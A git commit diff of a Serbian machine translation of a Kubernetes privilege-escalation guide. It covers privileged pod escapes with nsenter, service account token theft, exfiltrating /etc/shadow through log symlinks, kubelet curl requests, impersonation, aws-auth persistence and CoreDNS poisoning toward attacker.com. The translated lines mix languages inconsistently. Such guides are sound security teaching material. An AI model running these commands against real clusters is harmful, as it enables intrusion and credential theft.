Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-

This commit is contained in:
Translator
2026-02-12 12:40:52 +00:00
parent ea86fc44ce
commit 807bf67304
2 changed files with 190 additions and 169 deletions
@@ -1,23 +1,23 @@
# Abusing Roles/ClusterRoles in Kubernetes
# Zloupotreba Roles/ClusterRoles u Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Ovde možete pronaći neke potencijalno opasne konfiguracije Roles i ClusterRoles.\
Ovde možete naći neke potencijalno opasne Roles i ClusterRoles konfiguracije.\
Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources`
## **Privilege Escalation**
Ovo se odnosi na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili na eksternim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za eskalaciju privilegija**:
Podrazumeva se kao umetnost dobijanja pristupa drugom principal-u unutar clustera sa drugačijim privilegijama (unutar kubernetes clustera ili prema eksternim cloud-ovima) nego one koje već imate, u Kubernetes-u postoje u suštini 4 glavne tehnike za eskalaciju privilegija:
- Mogućnost da **imituješ** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da **kreiraš/patch-uješ/izvršavaš podove** gde možeš **pronaći ili priključiti SAs** sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da **čitaš tajne** jer su SAs tokeni pohranjeni kao tajne
- Mogućnost da **pobegneš na čvor** iz kontejnera, gde možeš ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokreneš port-forward** u podu, jer možeš imati pristup zanimljivim resursima unutar tog poda.
- Biti u mogućnosti da **impersonate** druge user/groups/SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
- Biti u mogućnosti da **create/patch/exec pods** gde možete **find or attach SAs** sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
- Biti u mogućnosti da **read secrets** jer su SAs tokens smešteni kao secrets
- Biti u mogućnosti da **escape to the node** iz kontejnera, gde možete ukrasti sve secrets kontejnera koji rade na node-u, kredencijale node-a, i permisije node-a unutar clouda u kome se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pomen je sposobnost da **run port-forward** u pod-u, jer možete dobiti pristup interesantnim resursima unutar tog poda.
### Access Any Resource or Verb (Wildcard)
### Pristup bilo kojem resursu ili verbu (Wildcard)
**wildcard (\*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom**. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi bilo koji namespace u klasteru
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse bilo koji namespace u klasteru
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Pristup bilo kojem resursu sa specifičnom glagolskom radnjom
### Pristup bilo kojem resursu sa određenim verbom
U RBAC-u, određene dozvole predstavljaju značajne rizike:
U RBAC-u, određena dopuštenja predstavljaju značajne rizike:
1. **`create`:** Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija.
2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.
3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.
1. **`create`:** Omogućava kreiranje bilo kojeg resursa u klasteru, što može dovesti do privilege escalation.
2. **`list`:** Dozvoljava listanje svih resursa, što može potencijalno leaking sensitive data.
3. **`get`:** Dozvoljava pristup secrets iz service accounts, što predstavlja bezbednosnu pretnju.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je taj Service Account. Efektivno povećavajući privilegije.
Napadač koji ima dozvole za kreiranje pod-a može dodeliti privilegovani Service Account podu i ukrasti token kako bi se predstavljao kao taj Service Account, čime efektivno eskalira privilegije.
Primer poda koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču:
Primer poda koji će ukrasti token Service Account-a `bootstrap-signer` i poslati ga napadaču:
```yaml
apiVersion: v1
kind: Pod
@@ -74,12 +74,10 @@ hostNetwork: true
```
### Pod Create & Escape
Sledeće ukazuje na sve privilegije koje kontejner može imati:
- **Privilegovan pristup** (onemogućavanje zaštita i postavljanje sposobnosti)
- **Onemogućavanje namespaces hostIPC i hostPid** koji mogu pomoći u eskalaciji privilegija
- **Onemogućavanje hostNetwork** namespace-a, dajući pristup za krađu privilegija čvora u oblaku i bolji pristup mrežama
- **Montiranje hostova / unutar kontejnera**
- **Privileged access** (onemogućavanje zaštita i podešavanje capabilities)
- **Disable namespaces hostIPC and hostPid** koje mogu pomoći u eskalaciji privilegija
- **Disable hostNetwork** namespace, što može omogućiti krađu cloud privilegija čvorova (nodes) i bolji pristup mrežama
- **Mount hosts / inside the container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -115,19 +113,19 @@ volumes:
hostPath:
path: /
```
Kreirajte pod sa:
Kreirajte pod pomoću:
```bash
kubectl --token $token create -f mount_root.yaml
```
Jednolinijska komanda iz [ovog tvita](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima:
Jednolinijski iz [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Sada kada možete da pobegnete na čvor, proverite tehnike post-ekspolatacije u:
Sada kada možeš da escape-uješ na node, proveri post-exploitation tehnike u:
#### Stealth
Verovatno želite da budete **diskretniji**, na sledećim stranicama možete videti šta biste mogli da pristupite ako kreirate pod omogućavajući samo neka od pomenutih privilegija u prethodnom šablonu:
Verovatno želiš da budeš **diskretniji**; na narednim stranicama možeš videti šta bi mogao da pristupiš ako kreiraš pod uključujući samo neke od dole pomenutih privilegija iz prethodnog šablona:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,14 +134,14 @@ Verovatno želite da budete **diskretniji**, na sledećim stranicama možete vid
- **hostNetwork**
- **hostIPC**
_Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane konfiguracije podova u_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
### Kreiranje pod-a - prelazak u cloud
Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud okruženju** dodeljujući **cloud role podu ili service account-u** i zatim mu pristupajući.\
Štaviše, ako možete da kreirate **pod sa host network namespace** možete **ukrasti IAM** ulogu **node** instance.
Ako možeš da **kreiraš** a **pod** (i opciono a **service account**) možda ćeš moći da **dobiješ privilegije u cloud okruženju** dodeljivanjem **cloud roles** podu ili **service account**-u i potom mu pristupiš.\
Pored toga, ako možeš da kreiraš **pod with the host network namespace** možeš da **steal the IAM** role instanci **node**.
Za više informacija proverite:
For more information check:
{{#ref}}
pod-escape-privileges.md
@@ -151,9 +149,9 @@ pod-escape-privileges.md
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Moguće je iskoristiti ove dozvole da **kreirate novi pod** i uspostavite privilegije kao u prethodnom primeru.
Moguće je zloupotrebiti ove dozvole da **kreiraš novi pod** i uspostaviš privilegije kao u prethodnom primeru.
Sledeći yaml **kreira daemonset i eksfiltrira token SA** unutar poda:
Sledeći yaml **creates a daemonset and exfiltrates the token of the SA** unutar pod-a:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,30 +189,30 @@ path: /
```
### **Pods Exec**
**`pods/exec`** je resurs u kubernetes-u koji se koristi za **izvršavanje komandi u shell-u unutar poda**. Ovo omogućava **izvršavanje komandi unutar kontejnera ili dobijanje shell-a unutar**.
**`pods/exec`** je resurs u kubernetes koji se koristi za **pokretanje komandi u shell-u unutar poda**. Ovo omogućava da se **pokreću komande unutar containers ili da se dobije shell iznutra**.
Stoga, moguće je **ući u pod i ukrasti token SA**, ili ući u privilegovani pod, pobjeći na čvor i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor:
Stoga je moguće **ući u pod i ukrasti token SA**, ili ući u privilegiovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (ab)use the node:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Po defaultu, komanda se izvršava u prvom kontejneru poda. Dobijte **sve podove u kontejneru** sa `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` i zatim **naznačite kontejner** u kojem želite da ga izvršite sa `kubectl exec -it <pod_name> -c <container_name> -- sh`
> Podrazumevano se komanda izvršava u prvom container-u poda. Dobavite **sve kontejnere u podu** sa `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` i zatim **odredite container** u kojem želite da je izvršite pomoću `kubectl exec -it <pod_name> -c <container_name> -- sh`
Ako je u pitanju distroless kontejner, možete pokušati da koristite **shell builtins** da dobijete informacije o kontejnerima ili da otpremite svoje alate poput **busybox** koristeći: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
Ako je to distroless container, možete pokušati da koristite **shell builtins** da dobijete informacije o container-ima ili da otpremite sopstvene alate kao što je **busybox** koristeći: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
Ovo dopuštenje omogućava da **proslijedite jedan lokalni port na jedan port u specificiranom podu**. Ovo je namenjeno da olakša debug aplikacija koje rade unutar poda, ali napadač to može zloupotrebiti da bi pristupio interesantnim (npr. DBs) ili ranjivim aplikacijama (npr. web serverima?) unutar poda:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
As [**naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
Ovo je углавном зато што када **Kube-API pokuša da preuzme logove** kontejnera (koristeći `kubectl logs <pod>`), он **zahteva `0.log`** fajl poda преко `/logs/` endpoint-a **Kubelet** servisa.\
Kubelet servis izlaže `/logs/` endpoint који у суштини **izlaže `/var/log` datotečni sistem kontejnera**.
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
Stoga, napadač sa **pristupom za upis u /var/log/ direktorijum** kontejnera може злоупотребити ова понашања на 2 начина:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
```bash
@@ -224,7 +222,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Ako napadač kontroliše bilo koji princip sa **dozvolama za čitanje `nodes/log`**, može jednostavno da kreira **symlink** u `/host-mounted/var/log/sym` ka `/` i kada **pristupi `https://<gateway>:10250/logs/sym/` prikazaće korenski** fajl sistem hosta (promena symlinka može omogućiti pristup fajlovima).
- Ako napadač kontroliše bilo koji principal sa **dozvolama za čitanje `nodes/log`**, može jednostavno napraviti **symlink** u `/host-mounted/var/log/sym` koji pokazuje na `/`, i kada **pristupi `https://<gateway>:10250/logs/sym/` biće mu prikazan root filesystem hosta** (promenom symlinka može se dobiti pristup fajlovima).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,23 +234,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Laboratorija i automatizovani exploit mogu se naći na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Laboratorija i automatizovani exploit se mogu naći u** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Obilaženje readOnly zaštite <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Zaobilaženje readOnly zaštite <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Ako imate sreće i visoko privilegisana sposobnost `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo montirati folder kao rw:
Ako imate sreće i visoko privilegovana kapabilnost `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo montirati folder kao rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Zaobilaženje hostPath readOnly zaštite <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu:
Kao što je navedeno u [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) moguće je zaobići zaštitu:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:
To je trebalo da spreči escapes poput prethodnih tako što bi, umesto korišćenja hostPath mount-a, koristio PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pristupom za pisanje:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -298,11 +296,11 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Imitiranje privilegovanih naloga**
### **Impersonacija privilegovanih naloga**
Sa [**privilegijom imitacije korisnika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može imitirati privilegovan nalog.
Sa privilegijom [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može da se predstavi kao privilegovani nalog.
Jednostavno koristite parametar `--as=<username>` u `kubectl` komandi da biste imitirali korisnika, ili `--as-group=<group>` da biste imitirali grupu:
Samo koristite parametar `--as=<username>` u `kubectl` komandi da se predstavite kao korisnik, ili `--as-group=<group>` da se predstavite kao grupa:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
@@ -315,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### Nabrajanje secrets
Dozvola da **prikazuje tajne može omogućiti napadaču da zapravo pročita tajne** pristupajući REST API kraju:
Dozvola za **list secrets može omogućiti napadaču da zapravo pročita secrets** pristupajući REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Kreiranje i Čitanje Tajni
### Kreiranje i čitanje Secrets
Postoji posebna vrsta Kubernetes tajne tipa **kubernetes.io/service-account-token** koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje:
Postoji posebna vrsta Kubernetes secret-a tipa **kubernetes.io/service-account-token** koja čuva serviceaccount tokens.
Ako imate dozvole za kreiranje i čitanje secret-ova, i ako takođe znate ime serviceaccount-a, možete kreirati secret na sledeći način i zatim ukrasti token ciljanog serviceaccount-a iz njega:
```yaml
apiVersion: v1
kind: Secret
@@ -334,7 +333,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Primer iskorišćavanja:
Primer exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -382,17 +381,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u.
Imajte na umu da, ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u.
### Čitanje tajne brute-forcing token ID-ova
### Čitanje secret-a brute-forcing token ID-ova
Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg _**listing secrets**_ privilegije, i dalje postoje ranjivosti. Podrazumevani service accounts u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Iako napadaču koji poseduje token sa read permisijama treba tačno ime secreta da bi ga iskoristio, za razliku od šire privilegije _**listing secrets**_, i dalje postoje ranjivosti. Default service accounts u sistemu se mogu enumerisati, svaki je povezan sa jednim secret-om. Ovi secret-i imaju strukturu imena: statični prefiks nakon kojeg sledi nasumični peto-karakterni alfanumerički token (izuzimajući određene karaktere) prema [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad kako bi dedukovao token u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim service accounts.
Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenost smanjuje ukupan broj mogućih kombinacija na 14.348.907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad i za nekoliko sati pogoditi token, što može dovesti do eskalacije privilegija pristupom osetljivim service account-ima.
### EncrpytionConfiguration u čistom tekstu
Moguće je pronaći ključeve u čistom tekstu za enkripciju podataka u mirovanju u ovoj vrsti objekta kao:
Moguće je pronaći ključeve u čistom tekstu koji se koriste za enkripciju podataka u mirovanju u ovakvim objektima, npr.:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,13 +448,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### Zahtevi za potpisivanje sertifikata
Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **create** novi CeSR novog **noda.**
Ako imate verb **`create`** na resursu `certificatesigningrequests` (ili bar na `certificatesigningrequests/nodeClient`), možete **kreirati** novi CeSR za **novi čvor**.
Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebaju vam dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `<signerNameDomain>/<signerNamePath>` ili `<signerNameDomain>/*`
Prema [dokumentaciji moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da vam u tom slučaju **ne trebaju dodatne dozvole**. Ako to nije omogućeno, moraćete biti u mogućnosti da odobrite zahtev, što podrazumeva update u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `<signerNameDomain>/<signerNamePath>` ili `<signerNameDomain>/*`
**Primer uloge** sa svim potrebnim dozvolama je:
Primer **role** sa svim potrebnim dozvolama je:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,19 +485,19 @@ resourceNames:
verbs:
- approve
```
Dakle, sa odobrenim novim node CSR-om, možete **iskoristiti** posebne dozvole nodova da **ukradete tajne** i **povećate privilegije**.
Dakle, kada je nova node CSR odobrena, možete **zloupotrebiti** specijalne dozvole node-ova da **ukradete tajne** i **eskalirate privilegije**.
U [**ovom postu**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**ovom**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap konfiguracija je podešena sa **automatskim potpisivanjem** i koristi se za generisanje kredencijala novog K8s nod-a, a zatim se ti kredencijali koriste za povećanje privilegija ukradanjem tajni.\
Ako **imate pomenute privilegije, mogli biste uraditi istu stvar**. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi nod da pristupi tajnama unutar kontejnera jer **nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.**
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
Ako **imate pomenute privilegije, možete uraditi isto**. Napomena: prvi primer zaobilazi grešku koja sprečava novom node-u da pristupi tajnama unutar containera jer **node može pristupiti samo tajnama containera koji su montirani na njega.**
Način da se to zaobiđe je jednostavno **napraviti kredencijale nod-a za ime nod-a gde je kontejner sa zanimljivim tajnama montiran** (ali samo proverite kako to uraditi u prvom postu):
Način da se ovo zaobiđe je da se jednostavno **kreiraju kredencijale čvora za node ime na kojem je montiran container sa interesantnim tajnama** (ali pogledajte kako to uraditi u prvom postu):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Principals koji mogu da modifikuju **`configmaps`** u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem **aws-auth** configmap-a.\
Potrebni glagoli su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran:
Identiteti koji mogu da modifikuju **`configmaps`** u kube-system namespace-u na EKS (moraju biti u AWS) klasterima mogu da dobiju privilegije cluster admina prepisivanjem **aws-auth** configmap-a.\
Potrebne operacije su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -538,18 +537,18 @@ groups:
- system:masters
```
> [!WARNING]
> Možete koristiti **`aws-auth`** za **persistence** davanje pristupa korisnicima iz **drugih naloga**.
> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**.
>
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako stavite ARN klastera umesto samo imena.\
> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **kubeconfig žrtve** i u aws exec argumentima dodajte `--profile other_account_role` tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.
> Međutim, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako umesto imena stavite ARN klastera.\
> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **victims kubeconfig** i u aws exec args dodate `--profile other_account_role` tako da kubectl koristi profil drugog naloga da dobije token i kontaktira AWS.
### CoreDNS config map
Ako imate dozvole da modifikujete **`coredns` configmap** u `kube-system` namespace-u, možete modifikovati adrese na koje će se domeni rešavati kako biste mogli da izvršite MitM napade za **krađu osetljivih informacija ili injektovanje malicioznog sadržaja**.
Ako imate dozvole da izmenite **`coredns` configmap** u `kube-system` namespace-u, možete izmeniti adresu na koju će domeni biti rešavani kako biste mogli izvršiti MitM napade radi **krađe osetljivih informacija ili ubrizgavanja malicioznog sadržaja**.
Glagoli koji su potrebni su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config mapama).
Potrebni verbi su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config maps).
Običan **coredns fajl** sadrži nešto poput ovoga:
Uobičajeni **coredns file** sadrži nešto ovako:
```yaml
data:
Corefile: |
@@ -579,58 +578,75 @@ reload
loadbalance
}
```
Napadač može preuzeti to pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeniti ga dodajući nešto poput `rewrite name victim.com attacker.com`, tako da kada se pristupi `victim.com`, zapravo se pristupa `attacker.com`. Zatim se može primeniti pokretanjem `kubectl apply -f poison_dns.yaml`.
Napadač može da ga preuzme pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeni ga dodavanjem nečega poput `rewrite name victim.com attacker.com` tako da kad god se pristupi `victim.com` zapravo će biti pristupljeno domenu `attacker.com`. Zatim ga primeni pokretanjem `kubectl apply -f poison_dns.yaml`.
Druga opcija je jednostavno izmeniti datoteku pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene.
Druga opcija je jednostavno izmeniti fajl pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene.
### Eskalacija u GKE
Postoje **2 načina za dodeljivanje K8s dozvola GCP principalima**. U svakom slučaju, principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj kubectl config fajl** (pratite sledeći link).
Postoje **2 načina da se dodelе K8s dozvole GCP principalima**. U svakom slučaju principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćeš morati da **generišeš sopstveni kubectl config fajl** (prati sledeći link).
> [!WARNING]
> Kada se komunicira sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li principal** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**.
> Kada se razgovara sa K8s api endpoint-om, biće poslat **GCP auth token**. Zatim, GCP, preko K8s api endpoint-a, prvo **proveri da li principal** (po email-u) **ima bilo kakav pristup unutar klastera**, potom će proveriti da li ima **bilo kakav pristup preko GCP IAM**.\
> Ako je **bilo koji** od tih **istinito**, biće mu **odgovoreno**. Ako **nije**, biće vraćena **greška** koja sugeriše da se dodele **dozvole preko GCP IAM**.
Prva metoda je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal to ima, moći će da ih koristi.
Dakle, prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal ima te dozvole, moći će da ih koristi.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
Druga metoda je **dodeljivanje K8s dozvola unutar klastera** identifikovanjem korisnika prema njegovom **emailu** (uključujući GCP servisne naloge).
Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikujući korisnika po njegovom **email-u** (uključujući GCP service accounts).
### Kreiranje tokena za servisne naloge
### Kreiranje tokena za serviceaccounts
Principali koji mogu **kreirati TokenRequests** (`serviceaccounts/token`) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principali koji mogu da **create TokenRequests** (`serviceaccounts/token`) kada razgovaraju sa K8s api endpoint-om, mogu da dobiju token-e service account-a (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principali koji mogu **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu dobiti **izvršavanje koda na drugim podovima**, i potencijalno **izbeći** na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext.
